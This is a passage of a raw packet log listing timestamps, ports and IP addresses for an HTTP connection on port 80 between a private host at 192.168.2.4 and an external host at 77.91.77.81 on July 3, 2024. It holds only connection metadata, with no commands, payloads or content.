Jul 3, 2024 23:59:14.027657986 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.027662992 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.027679920 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.027684927 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.027690887 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.027690887 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.027712107 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.027872086 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.027986050 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.027992010 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.028002977 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.028007984 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.028132915 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.028139114 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.028148890 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.028153896 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.028153896 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.028163910 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.028168917 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.028181076 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.028186083 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.028191090 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.028189898 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.028189898 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.028198957 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.028204918 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.028209925 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.028234005 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.028270960 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.028629065 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.028635025 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.028645992 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.028817892 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.082653999 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.082662106 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.082668066 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.082720995 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.082726955 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.082732916 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.082737923 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.082748890 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.082761049 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.082815886 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.082815886 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.082851887 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.082858086 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.082941055 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.082947016 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.082952023 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.083030939 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.083038092 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.083065033 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.083662987 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.114850998 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.114856958 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.114867926 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.114906073 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.114917040 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.114927053 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.114932060 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.115073919 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.115078926 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.115113020 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.115214109 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.115220070 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.115223885 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.115228891 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.115233898 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.115242958 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.115247965 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.115251064 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.115277052 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.115456104 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.115462065 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.115470886 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.115474939 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.115492105 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.115528107 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.115528107 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.115643024 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.115648031 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.115653038 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.115660906 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.115665913 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.115675926 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.115680933 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.115700960 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.115721941 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.115721941 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.115881920 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.115886927 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.115891933 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.115895987 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.115900040 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.115945101 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.115945101 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.115976095 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.115981102 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.115991116 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.116000891 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.116010904 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.116010904 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.116015911 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.116022110 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.116029978 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.116333961 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.116338015 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.116369009 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.116389036 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.116394997 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.116425991 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.116508961 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.116513968 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.116518974 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.116523027 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.116528034 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.116533041 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.116547108 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.116735935 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.116741896 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.116751909 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.116755962 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.116765022 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.116769075 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.116770983 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.116779089 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.116784096 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.116794109 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.116796970 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.116801977 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.116801977 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.116808891 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.116812944 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.116841078 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.116841078 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.117186069 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.117192030 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.117197037 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.117206097 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.117212057 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.117212057 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.117218971 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.117223978 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.117228031 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.117235899 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.117242098 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.117280960 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.117280960 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.117471933 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.117476940 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.117590904 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.117597103 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.117605925 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.117610931 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.117614985 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.117619991 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.117624998 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.117628098 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.117630005 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.117636919 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.117664099 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.117966890 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.118017912 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.118022919 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.118026972 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.118031025 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.118040085 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.118043900 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.118052959 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.118057966 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.118062973 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.118067026 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.118072987 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.118092060 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.121982098 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.146414995 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.146459103 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.146469116 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.146517992 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.146523952 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.146604061 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.146656036 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.146661043 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.146785021 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.146790981 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.146800995 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.146806002 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.146883965 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.146888018 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.146918058 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.147439957 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.172550917 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.172557116 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.172568083 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.172643900 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.172668934 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.172673941 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.172678947 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.172688961 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.172719955 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.172837019 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.172842979 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.172852039 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.172857046 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.172872066 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.172884941 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.172962904 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.172969103 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.172996998 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.173017979 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.173055887 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.176285982 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.204571962 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.204588890 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.204597950 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.204725981 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.204730034 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.204740047 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.204761982 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.204768896 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.204776049 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.204802990 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.204902887 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.204907894 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.204917908 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.204922915 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.204931021 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.204940081 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.204982042 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.204982042 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.205076933 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.205081940 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.205086946 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.205091000 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.205101967 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.205128908 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.205200911 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.205229998 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.205301046 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.205306053 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.205316067 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.205319881 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.205327988 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.205332041 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.205343008 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.205362082 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.205527067 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.205532074 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.205542088 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.205565929 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.205588102 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.205588102 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.205648899 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.205653906 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.205662966 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.205787897 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.205791950 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.205801964 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.205813885 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.205820084 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.205821037 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.205838919 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.205951929 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.206023932 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.206028938 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.206041098 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.206044912 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.206048965 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.206053972 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.206058979 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.206063032 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.206068039 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.206073999 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.206101894 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.206101894 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.206259966 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.206264973 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.206274986 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.206295967 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.206320047 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.206326008 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.206330061 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.206335068 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.206340075 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.206343889 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.206360102 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.206669092 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.206674099 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.206684113 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.206687927 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.206696987 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.206701994 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.206706047 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.206707001 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.206710100 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.206716061 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.206724882 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.206747055 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.206747055 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.206950903 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.206955910 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.206965923 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.206970930 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.206975937 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.206988096 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.207181931 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.207186937 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.207196951 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.207201004 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.207210064 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.207214117 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.207215071 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.207231045 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.207236052 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.207241058 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.207241058 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.207245111 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.207251072 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.207254887 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.207257032 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.207259893 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.207266092 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.207266092 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.207273006 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.207303047 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.207303047 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.207695007 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.207726955 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.207777023 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.207782030 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.207792044 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.207796097 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.207801104 CEST	80	49732	77.91.77.81	192.168.2.4
